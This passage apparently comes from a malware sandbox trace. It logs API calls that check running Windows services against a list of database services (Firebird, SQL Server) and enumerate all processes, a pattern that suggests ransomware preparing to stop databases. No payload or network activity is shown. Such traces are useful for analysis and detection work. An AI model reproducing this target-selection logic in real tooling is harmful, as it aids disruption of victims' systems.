(lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0170.092] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0170.092] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0170.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0170.092] lstrlenW (lpString="PcaSvc") returned 6 [0170.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0170.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0170.092] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0170.092] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0170.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0170.092] lstrlenW (lpString="PlugPlay") returned 8 [0170.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0170.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0170.092] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0170.092] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0170.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0170.092] lstrlenW (lpString="Power") returned 5 [0170.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0170.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0170.092] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0170.092] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0170.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0170.092] lstrlenW (lpString="ProfSvc") returned 7 [0170.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0170.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0170.093] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0170.093] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0170.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0170.093] lstrlenW (lpString="RpcEptMapper") returned 12 [0170.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0170.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0170.093] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0170.093] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0170.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0170.093] lstrlenW (lpString="RpcSs") returned 5 [0170.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0170.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0170.093] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0170.093] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0170.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0170.093] lstrlenW (lpString="SamSs") returned 5 [0170.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0170.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0170.093] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0170.093] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0170.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0170.093] lstrlenW (lpString="Schedule") returned 8 [0170.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0170.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0170.093] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0170.093] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0170.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0170.093] lstrlenW (lpString="SecurityHealthService") returned 21 [0170.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0170.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0170.093] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0170.093] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0170.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0170.094] lstrlenW (lpString="SENS") returned 4 [0170.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0170.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0170.094] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0170.094] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0170.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0170.094] lstrlenW (lpString="ShellHWDetection") returned 16 [0170.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0170.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0170.094] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0170.094] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0170.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0170.094] lstrlenW (lpString="Spooler") returned 7 [0170.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0170.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0170.094] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0170.094] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0170.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0170.094] lstrlenW (lpString="SSDPSRV") returned 7 [0170.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0170.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0170.094] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0170.094] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0170.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0170.094] lstrlenW (lpString="StateRepository") returned 15 [0170.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0170.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0170.094] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0170.094] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0170.094] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e7778 | out: hHeap=0x790000) returned 1 [0170.094] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x360 [0170.098] Process32FirstW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0170.099] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0170.100] lstrlenW (lpString="System") returned 6 [0170.100] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0170.101] lstrlenW (lpString="smss.exe") returned 8 [0170.101] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0170.101] lstrlenW (lpString="csrss.exe") returned 9 [0170.101] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0170.102] lstrlenW (lpString="wininit.exe") returned 11 [0170.102] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0170.103] lstrlenW (lpString="csrss.exe") returned 9 [0170.103] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0170.103] lstrlenW (lpString="winlogon.exe") returned 12 [0170.103] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0170.104] lstrlenW (lpString="services.exe") returned 12 [0170.104] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0170.105] lstrlenW (lpString="lsass.exe") returned 9 [0170.105] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.106] lstrlenW (lpString="svchost.exe") returned 11 [0170.106] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0170.107] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0170.107] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0170.107] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0170.107] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.108] lstrlenW (lpString="svchost.exe") returned 11 [0170.108] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0170.109] lstrlenW (lpString="dwm.exe") returned 7 [0170.109] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.109] lstrlenW (lpString="svchost.exe") returned 11 [0170.109] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.110] lstrlenW (lpString="svchost.exe") returned 11 [0170.110] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.111] lstrlenW (lpString="svchost.exe") returned 11 [0170.111] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.112] lstrlenW (lpString="svchost.exe") returned 11 [0170.112] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.112] lstrlenW (lpString="svchost.exe") returned 11 [0170.112] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.113] lstrlenW (lpString="svchost.exe") returned 11 [0170.113] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.114] lstrlenW (lpString="svchost.exe") returned 11 [0170.114] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.114] lstrlenW (lpString="svchost.exe") returned 11 [0170.114] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.154] lstrlenW (lpString="svchost.exe") returned 11 [0170.154] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0170.154] lstrlenW (lpString="spoolsv.exe") returned 11 [0170.155] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.155] lstrlenW (lpString="svchost.exe") returned 11 [0170.155] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.156] lstrlenW (lpString="svchost.exe") returned 11 [0170.156] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0170.157] lstrlenW (lpString="audiodg.exe") returned 11 [0170.157] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0170.157] lstrlenW (lpString="sihost.exe") returned 10 [0170.157] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.158] lstrlenW (lpString="svchost.exe") returned 11 [0170.158] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0170.159] lstrlenW (lpString="taskhostw.exe") returned 13 [0170.159] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0170.159] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0170.159] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0170.160] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0170.160] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0170.161] lstrlenW (lpString="explorer.exe") returned 12 [0170.161] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0170.162] lstrlenW (lpString="Memory Compression") returned 18 [0170.162] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0170.163] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0170.163] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0170.163] lstrlenW (lpString="SearchUI.exe") returned 12 [0170.163] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0170.164] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0170.164] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0170.165] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0170.165] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0170.165] lstrlenW (lpString="taskhostw.exe") returned 13 [0170.166] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0170.166] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0170.166] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0170.167] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0170.167] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0170.168] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0170.168] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfe0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0170.168] lstrlenW (lpString="conhost.exe") returned 11 [0170.168] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0170.169] lstrlenW (lpString="screensaver.exe") returned 15 [0170.169] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upperarc.exe")) returned 1 [0170.170] lstrlenW (lpString="upperarc.exe") returned 12 [0170.170] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying.exe")) returned 1 [0170.170] lstrlenW (lpString="buying.exe") returned 10 [0170.170] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="downloadable.exe")) returned 1 [0170.171] lstrlenW (lpString="downloadable.exe") returned 16 [0170.171] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guests_production_meanwhile.exe")) returned 1 [0170.172] lstrlenW (lpString="guests_production_meanwhile.exe") returned 31 [0170.172] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed-shirts.exe")) returned 1 [0170.172] lstrlenW (lpString="deemed-shirts.exe") returned 17 [0170.173] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mugwritesheroes.exe")) returned 1 [0170.173] lstrlenW (lpString="mugwritesheroes.exe") returned 19 [0170.173] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="swapdamelooked.exe")) returned 1 [0170.174] lstrlenW (lpString="swapdamelooked.exe") returned 18 [0170.174] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments.exe")) returned 1 [0170.175] lstrlenW (lpString="moments.exe") returned 11 [0170.175] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, 